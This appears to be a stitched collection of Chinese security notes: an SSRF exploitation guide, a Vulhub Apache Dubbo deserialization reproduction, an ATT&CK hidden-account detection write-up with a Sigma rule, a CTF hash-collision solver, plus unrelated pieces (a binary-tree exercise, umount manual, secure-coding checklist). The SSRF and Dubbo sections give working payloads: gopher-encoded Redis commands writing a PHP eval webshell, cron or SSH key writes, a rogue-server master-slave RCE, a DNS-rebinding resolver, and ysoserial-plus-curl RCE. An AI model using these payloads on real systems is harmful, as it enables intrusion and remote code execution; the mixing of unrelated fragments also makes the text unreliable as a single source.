dict 协议有一个功能：dict://serverip:port/name:data 向服务器的端口请求 name data，并在末尾自动补上 rn(CRLF)。也就是如果我们发出 dict://serverip:port/config:set:dir:/var/spool/cron/ 的请求，redis 就执行了 config set dir /var/spool/cron/ . 用这种方式可以一步步执行 redis getshell 的 exp，执行完就能达到和 gopher 一样的效果。原理一样，但是 gopher 只需要一个 url 请求即可，dict 需要步步构造。
**对内网 redis 的利用**
```
dict://127.0.0.1:6379/info
dict://127.0.0.1:6379/keys *
```
---
#### Gopher
gopher 协议支持发出 GET、POST 请求：可以先截获 get 请求包和 post 请求包，在构成符合 gopher 协议的请求。
gopher 协议是 ssrf 利用中最强大的协议
**相关文章**
- [Gopher协议在SSRF漏洞中的深入研究](https://zhuanlan.zhihu.com/p/112055947)
- [gopher 协议初探](https://www.cnblogs.com/Konmu/p/12984891.html)
**相关工具**
- [tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) - 该工具生成 gopher payload ，以利用 SSRF 并在各种服务器中获得 RCE
- [xmsec/redis-ssrf](https://github.com/xmsec/redis-ssrf) - redis ssrf gopher generater && redis ssrf to rce by master-slave-sync
**格式**
```
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
curl gopher://127.0.0.1:8000/_GET%20test
```
gopher 的默认端口是70
如果发起 post 请求，回车换行需要使用 %0d%0a，如果多个参数，参数之间的 & 也需要进行 URL 编码
**发送 get 请求**
如果要发送如下 payload
```
GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.2
```
那么需要变为如下格式
```
curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A
```
在 HTTP 包的最后要加 %0d%0a，代表消息结束
**发送 post 请求**
```
POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=test
```
那么需要变为如下格式
```
curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A
```
**ssrf 中的利用**
```
http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
# 由于PHP在接收到参数后会做一次URL的解码,所以要在 url 编码一次
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A
```
URL中的／不能进行两次编码，端口号不可以两次编码,协议名称不可两次转码
##### 配合 Redis 未授权访问漏洞进行攻击
我们可以利用 Gopher 协议远程操纵目标主机上的 Redis，可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等，其思路都是一样的，就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或 /var/spool/cron 目录等，然后将 dbfilename（本地数据库文件名）设置为文件名你想要写入的文件名称，最后再执行 save 或 bgsave 保存，则我们就指定的目录里写入指定的文件了。
**绝对路径写 WebShell**
redis命令
```
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
```
利用 Gopherus
```
gopherus --exploit redis
```
```
gopher%3A%2F%2F10.211.55.3%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%25248%250D%250A%250A%250Atest%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%25244%250D%250A%2Ftmp%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
```
这里将生成的 payload 要进行 url 二次编码（因为我们发送 payload 用的是 GET 方法），然后利用服务器上的 SSRF 漏洞，将二次编码后的 payload 打过去就行了：
**Redis 主从复制**
以 [网鼎杯 2020 玄武组]SSRFMe 这一题为例, buuoj 上有环境,方便复现
题目信息:
- 通过 http://0.0.0.0/ 访问本机绕过对内网IP的检测
- Redis 配置了密码,为 root
- 利用主从复制进行 rce
利用脚本 https://github.com/xmsec/redis-ssrf
修改脚本
```py
elif mode==3:
lhost="192.168.1.100" # 改成 vps 的地址
lport="6666" # 改成 vps 的监听端口
command="whoami" # 改成 cat /flag
......
protocol="gopher://"
ip="127.0.0.1" # 改成 0.0.0.0 绕过题目中的限制
port="6379"
......
passwd = '' # 密码改成 root
```
生成 payload,记得 URL 编码一下
rogue-server 使用这个项目的 https://github.com/Dliv3/redis-rogue-server.git
```
python3 redis-rogue-server.py --server-only --lport 6666
```
访问
#### FTP
**相关文章**
- [如何用 FTP 被动模式打穿内网](https://www.anquanke.com/post/id/254387)
- [URL ECCENTRICITIES IN JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)
- [samsbp/java-file-ftp](https://github.com/samsbp/java-file-ftp)
**利用**
```
ftp://127.0.0.1:21/file
```
### DNS 与 重定向欺骗
#### wildcard DNS
开发人员在构建 SSRF 防护时，只考虑到了域名，没有考虑到域名解析后的 IP，则存在被利用域名解析服务来绕过的可能。
```
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
```
> http://xip.io
```
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
```
> http://nip.io
#### 302 跳转
当防御方限制只允许 http(s) 访问或者对请求的 host 做了正确的校验后，可以通过 30x 方式跳转进行绕过。
比如,我们可以搭建一个服务,在收到目标服务器的请求后添加一个 Location 响应头重定向至内网服务器
```php
<?php header("location: http://127.0.0.1"); ?>
```
#### url 短链
开发人员在进行 SSRF 防护时，未考虑到短网址的影响，则存在被利用短网址绕过的可能。
- https://a.f8x.io/
#### DNS-Rebinding
> DNS重绑定
**描述**
DNS 重绑定攻击的原理是当我们设置恶意域名 TTL 为非常小的值时，DNS 记录仅在短时间内有效,目标服务第一次解析域名后，第二次重新请求 DNS 服务器获取新的 ip，两次 DNS 解析是有时间差的，我们可以使用这个时间差进行绕过，利用服务器两次解析同一域名的短暂间隙，更换域名背后的 ip 进行 ssrf。
利用方法如下：
1. 在网站 SSRF 漏洞处访问精心构造的域名。网站第一次解析域名，获取到的 IP 地址为 A；
2. 经过网站后端服务器的检查，判定此 IP 为合法 IP。
3. 网站获取 URL 对应的资源（在一次网络请求中，先根据域名服务器获取 IP 地址，再向 IP 地址请求资源），第二次解析域名。此时已经过了 ttl 的时间，解析记录缓存 IP 被删除。第二次解析到的域名为被修改后的 IP 即为内网 IP B；
4. 攻击者访问到了内网 IP。
**注意点**
1. java 中 DNS 请求成功的话默认缓存 30s(字段为 networkaddress.cache.ttl，默认情况下没有设置)，失败的默认缓存 10s。（缓存时间在 /Library/Java/JavaVirtualMachines/jdk /Contents/Home/jre/lib/security/java.security 中配置）所以一般认为 java 不存在 DNS rebinding 问题。
2. 在 php 中则默认没有缓存。
3. Linux 默认不会进行 DNS 缓存，mac 和 windows 会缓存 (所以复现的时候不要在 mac、windows 上尝试)
4. 有些公共 DNS 服务器，比如 114.114.114.114 还是会把记录进行缓存，但是 8.8.8.8 是严格按照 DNS 协议去管理缓存的，如果设置 TTL 为 0，则不会进行缓存。
**相关文章/案例**
- [DNS Rebinding 域名重新绑定攻击技术](https://cloud.tencent.com/developer/article/1400018)
- [通过 DNS Rebinding 获取访客 QQ 号](https://0x0d.im/archives/get-visitor-qq-number-through-dns-rebinding.html)
- [Java环境下通过时间竞争实现DNS Rebinding 绕过SSRF 防御限制](https://mp.weixin.qq.com/s/dA40CUinwaitZDx6X89TKw)
- [渗透测试-DNS重绑定](https://mp.weixin.qq.com/s/Y03173LF2SN5zF1zgvx4EQ)
- [从0到1认识DNS重绑定攻击](https://xz.aliyun.com/t/7495)
- [DNS Rebinding in Browser](https://mp.weixin.qq.com/s/jiX1zC5_1y9tipYzM8Oxdg)
**相关工具**
- [makuga01/dnsFookup](https://github.com/makuga01/dnsFookup) - DNS rebinding toolkit
- [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
- http://ceye.io/dns-rebinding
- [Tr3jer/dnsAutoRebinding](https://github.com/Tr3jer/dnsAutoRebinding) - ssrf、ssrfIntranetFuzz、dnsRebinding、recordEncode、dnsPoisoning、Support ipv4/ipv6
**利用方法**
Dns rebinding 常见方案除了自建 dns 服务器之外，还可以通过绑定两个 A 记录，一个绑定外网 ip，一个绑定内网 ip。这种情况访问顺序是随机的，无法保证成功率。
自建 dns 服务器需要配置将域名的 dns 服务指向自己的 vps，然后在 vps 上运行域名解析脚本，内容如下
```py
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<2:
# 随意一个 IP，绕过检查即可
ip="1.2.3.4"
else:
ip="127.0.0.1"
record[name]=0
if name not in record:
record[name]=0
record[name]+=1
print name+" ===> "+ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
```
```bash
python2 -m pip install twisted
systemctl stop systemd-resolved
python2 test.py
```
当第一次访问时，解析为外网 ip 通过 ssrf 检测，
第二次访问时，也即业务访问时，ip 会指向 127.0.0.1，从而达到了绕过目的。
**修复方案**
在 Check 时获取 IP 地址，后面的请求绑定此 IP
#### TLS Poison
- [TLS Poison](../../协议安全/Protocol-Exploits.md#tls-poison)
---
## SSRF 修复方案
* 过滤 url 中的特殊字符
* 禁用不需要的协议，只允许 HTTP 和 HTTPS 请求，可以防止类似于 file://, gopher://, ftp:// 等引起的问题。
* 白名单的方式限制访问的目标地址，禁止对内网发起请求。
* 过滤或屏蔽请求返回的详细信息，验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
* 验证请求的文件格式,禁止跟随 301、302 跳转。
* 限制请求的端口为 http 常用的端口，比如 80、443、8080、8000 等。
* 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。
|
sec-knowleage
|
# 8. 二叉树的下一个结点
## 题目链接
[牛客网](https://www.nowcoder.com/practice/9023a0c988684a53960365b889ceaf5e?tpId=13&tqId=11210&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
给定一个二叉树和其中的一个结点，请找出中序遍历顺序的下一个结点并且返回 。注意，树中的结点不仅包含左右子结点，同时包含指向父结点的指针。
```java
public class TreeLinkNode {
int val;
TreeLinkNode left = null;
TreeLinkNode right = null;
TreeLinkNode next = null; // 指向父结点的指针
TreeLinkNode(int val) {
this.val = val;
}
}
```
## 解题思路
我们先来回顾一下中序遍历的过程：先遍历树的左子树，再遍历根节点，最后再遍历右子树。所以最左节点是中序遍历的第一个节点。
```java
void traverse(TreeNode root) {
if (root == null) return;
traverse(root.left);
visit(root);
traverse(root.right);
}
```
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ad5cc8fc-d59b-45ce-8899-63a18320d97e.gif" width="300px"/> </div><br>
① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7008dc2b-6f13-4174-a516-28b2d75b0152.gif" width="300px"/> </div><br>
② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/094e3ac8-e080-4e94-9f0a-64c25abc695e.gif" width="300px"/> </div><br>
```java
public TreeLinkNode GetNext(TreeLinkNode pNode) {
if (pNode.right != null) {
TreeLinkNode node = pNode.right;
while (node.left != null)
node = node.left;
return node;
} else {
while (pNode.next != null) {
TreeLinkNode parent = pNode.next;
if (parent.left == pNode)
return parent;
pNode = pNode.next;
}
}
return null;
}
```
|
sec-knowleage
|
# Aapche Dubbo Java反序列化漏洞（CVE-2019-17564）
Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信，当使用http协议时，Apache Dubbo直接使用了Spring框架的`org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter`类做远程调用，而这个过程会读取POST请求的Body并进行反序列化，最终导致漏洞。
在Spring文档中，对`HttpInvokerServiceExporter`有如下描述，并不建议使用：
> WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.
这个漏洞影响Apache Dubbo 2.7.4及以前版本，2.7.5后Dubbo使用`com.googlecode.jsonrpc4j.JsonRpcServer`替换了`HttpInvokerServiceExporter`。
参考链接：
- https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.html
- https://www.anquanke.com/post/id/198747
- https://paper.seebug.org/1128/
## 漏洞环境
执行如下命令启动一个Apache Dubbo 2.7.3 Provider：
```
docker compose up -d
```
服务启动后，访问`http://your-ip:8080`，服务器默认会返回500错误。
## 漏洞复现
利用该漏洞需要先知道目标RPC接口名，而Dubbo所有的RPC配置储存在registry中，通常使用Zookeeper作为registry。如果能刚好找到目标的Zookeeper未授权访问漏洞，那么就可以在其中找到接口的名称与地址。
Vulhub对外开放了8080端口和2181端口，其中2181即为Zookeeper的端口，我们本地下载[Zookeeper](https://zookeeper.apache.org/)，使用其中自带的**zkCli**即可连接到这台Zookeeper服务器：
```
./zkCli -server target-ip:2181
```
连接后进入一个交互式控制台，使用`ls`即可列出其中所有节点，包括Dubbo相关的配置：
获取到RPC接口名为`org.vulhub.api.CalcService`。直接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到`http://your-ip:8080/org.vulhub.api.CalcService`即可触发反序列化漏洞：
```
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc
curl -XPOST --data-binary @1.poc http://your-ip:8080/org.vulhub.api.CalcService
```
进入容器，可见`touch /tmp/success`已成功执行。
|
sec-knowleage
|
<?
header('Content-Type: image/png');
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );
$img = imagecreatetruecolor(110, 110);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}
imagepng($img);
?>
|
sec-knowleage
|
# T1036-windows-隐藏用户账户带$符号
## 来自ATT&CK的描述
伪装指的是攻击者操纵或滥用可执行文件（不管是合法还是恶意的）的名称或位置来逃避防御和观察。已经发现了以下几种技术变体：
一种变体是将可执行文件放在通常受信任的目录中，或者将文件命名为合法受信任程序的名称。另外，也可能将文件命名为与合法程序很相近的名称，或其它无伤大雅的名称。比如，移动并重命名一个公共系统实用工具或程序来规避其对其使用情况的检测。这样做是为了绕过依赖文件名或路径来信任可执行文件的工具，以及通过将文件名与其它合法事物相关联来欺骗防御程序和系统管理员认为文件是善意的。
另外一种变体使用从右向左覆盖（RTLO或RLO）字符（U+202E）的方法诱骗用户执行他们认为的善意文件类型但实际上是可执行代码。RTLO是非打印字符，它会导致后面的文本反向显示。例如，一个名为March 25 \u202Excod.scr 的Windows屏幕保护程序文件将显示为March 25 rcs.docx，名为 photo_high_re\u202Egnp.js 的JavaScript文件将显示为photo_high_resj.png。这种技术的一个常见做法是使用网络钓鱼攻击附件，因为它可以欺骗邮件双方和防御程序，如果恰好他们不知道自己的工具如何显示和呈现RTLO字符。在许多针对性的入侵企图和犯罪活动中都可以看到RTLO字符的使用。RTLO也可用于Windows注册表，其中regedit.exe显示相反的字符，但命令行工具reg.exe默认情况下不这么显示。
攻击者可能会修改二进制文件的元数据，包括图标、版本、产品名称、描述和版权等字段，以便更好地与环境融合，增加欺骗安全分析师或产品的可能性。
### Windows
在这种技术的另一种变体中，攻击者可能会使用合法实用程序的重命名副本，例如rundll32.exe。另一种情况是，将合法实用程序移动到其他目录并重命名来规避从非标准路径执行的系统实用程序的检测。
举例：Windows中，攻击者会滥用受信任位置C:\Windows\System32，会把恶意二进制文件命名为受信任二进制名称“explorer.exe”和“svchost.exe”。
### Linux
此技术的另一个变体包括恶意二进制文件启动后（与以前相反）将运行进程的名称更改为可信或良性进程的名称。
举例：Linux中，攻击者会滥用受信任位置/bin，会把恶意二进制文件命名为受信任二进制名称“rsyncd”和“dbus-inotifier”
## 测试案例
利用net命令添加用户，修改用户为隐藏用户，隐藏效果，仅NET USER命令不可查找。
## 检测日志
windows security
## 测试复现
### net user创建用户
```bash
C:\Windows\system32>net user admin97$ admin /add
命令成功完成。
C:\Windows\system32>net user
\\12306BR0-PC 的用户帐户
-------------------------------------------------------------------------------
12306Br0 admin.098 admin.123
Administrator Guest
命令成功完成。
```
### 修改用户
无测试场景，待补充
## 测试留痕
### Event-ID:4720
```log
已创建用户帐户。
主题:
安全 ID: 12306Br0-PC\12306Br0
帐户名: 12306Br0
帐户域: 12306Br0-PC
登录 ID: 0x53e6a
新帐户:
安全 ID: 12306Br0-PC\admin97$
帐户名: admin97$
帐户域: 12306Br0-PC
属性:
SAM 帐户名: admin97$
显示名称: <未设置值>
用户主体名称: -
主目录: <未设置值>
主驱动器: <未设置值>
脚本路径: <未设置值>
配置文件路径: <未设置值>
用户工作站: <未设置值>
上次设置的密码:<从不>
帐户过期: <从不>
主要组 ID: 513
允许委托给: -
旧 UAC 值: 0x0
新 UAC 值: 0x15
用户帐户控制:
已禁用的帐户
'不要求密码' - 已启用
'普通帐户' - 已启用
用户参数: <未设置值>
SID 历史: -
登录时间(以小时计):全部
附加信息:
特权 -
```
## 检测规则/思路
### sigma规则
```yml
title: 在属性'SamAccountName'中使用'$'的新用户帐户或重命名用户帐户
status: experimental
description: 通过异常的用户帐户名检测可能的旁路EDR和SIEM。
tags:
- attack.defense_evasion
- attack.t1036
author: 12306Br0(测试+翻译)
date: 2020/06/09
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4720 # 创建用户
- 4781 # 修改用户名
UserName|contains: '$' #Sam用户名
condition: selection
fields:
- EventID
- UserName
- SubjectAccountName
falsepositives:
- Unkown
level: high
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1036
<https://attack.mitre.org/techniques/T1036/>
|
sec-knowleage
|
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#define _rotr(x, n) ((((x)>>(n)) | ((x) << (32 - (n)))))
#define _rotl(x, n) (((x)<<(n))|((x)>>(32-(n))))
uint32_t hash(uint32_t num){
num^=0x24f50094U;
num=_rotr(num, num&0xF);
num+=0x2219ab34U;
num=_rotl(num, num&0xF);
num*=0x69a2c4feU;
return num;
}
void find_collisions(uint32_t hash_to){
uint32_t block=0;
do{
uint32_t h=hash(block);
if(h==hash_to){
printf("%08X %c%c%c%c\n", block, block, block>>8, block>>16, block>>24);
}
}while(++block);
}
unsigned char hashes[]="\x95\x13\xaa\xa5\x52\xe3\x2e\x2c\xad\x62\x33\xc4\xf1\x3a\x72\x8a\x5c\x5b\x8f\xc8\x79\xfe\xbf\xa9\xcb\x39\xd7\x1c\xf4\x88\x15\xe1\x0e\xf7\x76\x64\x05\x03\x88\xa3";
int main(){
uint32_t hh=0xf113cca1;
printf("Debug: %x %x %x %x\n", hh, hash(hh), hash(hh)^0x9513aaa5, _rotr(hash(hh)^0x9513aaa5,7));
uint32_t temp=0;
for(int i=0;i<10;i++){
uint32_t newtemp=hashes[i*4]<<24;
newtemp|=hashes[i*4+1]<<16;
newtemp|=hashes[i*4+2]<<8;
newtemp|=hashes[i*4+3]<<0;
printf("newtemp is %x\n", newtemp);
// newtemp=_rotr(temp^hash(block), 7)
// thus:
// _rotl(newtemp,7)=temp^hash(block)
// hash(block)=_rotl(newtemp)^temp;
printf("Rotled: %x\n", _rotl(newtemp, 7));
printf("temp: %x\n", temp);
printf("xored: %x\n", _rotl(newtemp, 7)^temp);
uint32_t h=_rotl(newtemp, 7)^temp;
printf("Finding hash for %x\n", h);
find_collisions(h);
temp=newtemp;
}
}
|
sec-knowleage
|
umount
===
用于卸载已经加载的文件系统
## 补充说明
**umount命令** 用于卸载已经加载的文件系统。利用设备名或挂载点都能umount文件系统，不过最好还是通过挂载点卸载，以免使用绑定挂载（一个设备，多个挂载点）时产生混乱。
### 语法
```shell
umount(选项)(参数)
```
### 选项
```shell
-a：卸除/etc/mtab中记录的所有文件系统；
-h：显示帮助；
-n：卸除时不要将信息存入/etc/mtab文件中；
-r：若无法成功卸除，则尝试以只读的方式重新挂入文件系统；
-t<文件系统类型>：仅卸除选项中所指定的文件系统；
-v：执行时显示详细的信息；
-V：显示版本信息。
```
### 参数
文件系统：指定要卸载的文件系统或者其对应的设备文件名。
### 实例
下面两条命令分别通过设备名和挂载点卸载文件系统，同时输出详细信息：
通过设备名卸载
```shell
umount -v /dev/sda1
/dev/sda1 umounted
```
通过挂载点卸载
```shell
umount -v /mnt/mymount/
/tmp/diskboot.img umounted
```
如果设备正忙，卸载即告失败。卸载失败的常见原因是，某个打开的shell当前目录为挂载点里的某个目录：
```shell
umount -v /mnt/mymount/
umount: /mnt/mymount: device is busy
umount: /mnt/mymount: device is busy
```
有时，导致设备忙的原因并不好找。碰到这种情况时，可以用lsof列出已打开文件，然后搜索列表查找待卸载的挂载点：
```shell
lsof | grep mymount 查找mymount分区里打开的文件
bash 9341 francois cwd DIR 8,1 1024 2 /mnt/mymount
```
从上面的输出可知，mymount分区无法卸载的原因在于，francois运行的PID为9341的bash进程。
对付系统文件正忙的另一种方法是执行延迟卸载：
```shell
umount -vl /mnt/mymount/ 执行延迟卸载
```
延迟卸载（lazy unmount）会立即卸载目录树里的文件系统，等到设备不再繁忙时才清理所有相关资源。卸载可移动存储介质还可以用eject命令。下面这条命令会卸载cd并弹出CD：
```shell
eject /dev/cdrom 卸载并弹出CD
```
|
sec-knowleage
|
[返回目录](README-zh.md)
### 安全checklist
##### 权限系统 (注册/注册/二次验证/密码重置)
- [ ] 任何地方都使用 HTTPS.
- [ ] 使用 `Bcrypt` 存储密码哈希 (没有使用盐的必要 - `Bcrypt` 干的就是这个事).
- [ ] `登出`之后销毁会话 ID .
- [ ] 密码重置后销毁所有活跃的会话.
- [ ] OAuth2 验证必须包含 `state` 参数.
- [ ] 登陆成功之后不能直接重定向到开放的路径（需要校验，否则容易存在钓鱼攻击）.
- [ ] 当解析用户注册/登陆的输入时，过滤 javascript://、 data:// 以及其他 CRLF 字符.
- [ ] 使用 secure/httpOnly cookies.
- [ ] 移动端使用 `OTP` 验证时，当调用 `generate OTP` 或者 `Resend OTP` API 时不能把 OTP（One Time Password） 直接返回。（一般是通过发送手机验证短信，邮箱随机 code 等方式，而不是直接 response）
- [ ] 限制单个用户 `Login`、`Verify OTP`、 `Resend OTP`、`generate OTP` 等 API 的调用次数，使用 Captcha 等手段防止暴力破解.
- [ ] 检查邮件或短信里的重置密码的 token，确保随机性（无法猜测）
- [ ] 给重置密码的 token 设置过期时间.
- [ ] 重置密码成功后，将重置使用的 token 失效.
##### 用户数据和权限校验
- [ ] 诸如`我的购物车`、`我的浏览历史`之类的资源访问，必须检查当前登录的用户是否有这些资源的访问权限.
- [ ] 避免资源 ID 被连续遍历访问，使用 `/me/orders` 代替 `/user/37153/orders` 以防你忘了检查权限，导致数据泄露。
- [ ] `修改邮箱/手机号码`功能必须首先确认用户已经验证过邮箱/手机是他自己的。
- [ ] 任何上传功能应该过滤用户上传的文件名，另外，为了普适性的原因（而不是安全问题），上传的东西应该存放到例如 S3 之类的云存储上面(用 lambda 处理)，而不是存储在自己的服务器，防止代码执行。
- [ ] `个人头像上传` 功能应该过滤所有的 `EXIF` 标签，即便没有这个需求.
- [ ] 用户 ID 或者其他的 ID，应该使用 [RFC compliant ](http://www.ietf.org/rfc/rfc4122.txt) 的 `UUID` 而不是整数. 你可以从 github 找到你所用的语言的实现.
- [ ] [JWT（JSON Web Token）](https://jwt.io/)很棒.当你需要构建一个 单页应用/API 时使用.
##### 安卓和 iOS APP
- [ ] 支付网关的 `盐（salt）` 不应该被硬编码
- [ ] 来自第三方的 `secret` 和 `auth token` 不应该被硬编码
- [ ] 在服务器之间调用的 API 不应该在 app 里面调用
- [ ] 在安卓系统下，要小心评估所有申请的 [权限](https://developer.android.com/guide/topics/security/permissions.html)
- [ ] 在 iOS 系统下，使用系统的钥匙串来存储敏感信息（权限 token、api key、 等等） __不要__ 把这类信息存储在用户配置里面
- [ ] 强烈推荐[证书绑定（Certificate pinning）](https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning)
##### 安全头信息和配置
- [ ] `添加` [CSP](https://en.wikipedia.org/wiki/Content_Security_Policy) 头信息，减缓 XSS 和数据注入攻击. 这很重要.
- [ ] `添加` [CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery) 头信息防止跨站请求伪造（CSRF）攻击.同时`添加` [SameSite](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00) 属性到 cookie 里面.
- [ ] `添加` [HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) 头信息防止 SSL stripping 攻击.
- [ ] `添加` 你的域名到 [HSTS 预加载列表](https://hstspreload.appspot.com/)
- [ ] `添加` [X-Frame-Options](https://en.wikipedia.org/wiki/Clickjacking#X-Frame-Options) 防止点击劫持.
- [ ] `添加` [X-XSS-Protection](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#X-XSS-Protection) 缓解 XSS 攻击.
- [ ] `更新` DNS 记录，增加 [SPF](https://en.wikipedia.org/wiki/Sender_Policy_Framework) 记录防止垃圾邮件和钓鱼攻击.
- [ ] 如果你的 Javascript 托管在第三方的 CDN 上面，需要`添加` [内部资源集成检查](https://en.wikipedia.org/wiki/Subresource_Integrity) 。为了更加安全，添加[require-sri-for](https://w3c.github.io/webappsec-subresource-integrity/#parse-require-sri-for) CSP-directive 就不会加载到没有 SRI 的资源
- [ ] 使用随机的 CSRF token，业务逻辑 API 可以暴露为 POST 请求。不要把 CSRF token 通过 http 接口暴露出来，比如第一次请求更新的时候
- [ ] 在 get 请求参数里面，不要使用临界数据和 token。 暴露服务器日志的同时也会暴露用户数据
##### 过滤输入
- [ ] 所有暴露给用户的参数输入都应该 `过滤` 防止 [XSS](https://en.wikipedia.org/wiki/Cross-site_scripting) 攻击.
- [ ] 使用参数化的查询防止 [SQL 注入](https://en.wikipedia.org/wiki/SQL_injection).
- [ ] 过滤所有具有功能性的用户输入，比如 `CSV导入`
- [ ] `过滤`一些特殊的用户输入，例如将 robots.txt 作为用户名，而你刚好提供了 coolcorp.io/username 之类的 url 来提供用户信息访问页面。（此时变成 coolcorp.io/robots.txt，可能无法正常工作）
- [ ] 不要自己手动拼装 JSON 字符串，不管这个对象有多么小。请使用你所用的语言相应的库或者框架来编写
- [ ] `过滤` 那些有点像 URL 的输入，防止 [SSRF](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#heading=h.t4tsk5ixehdd) 攻击
- [ ] 在输出显示给用户之前，`过滤`输出信息
##### 操作
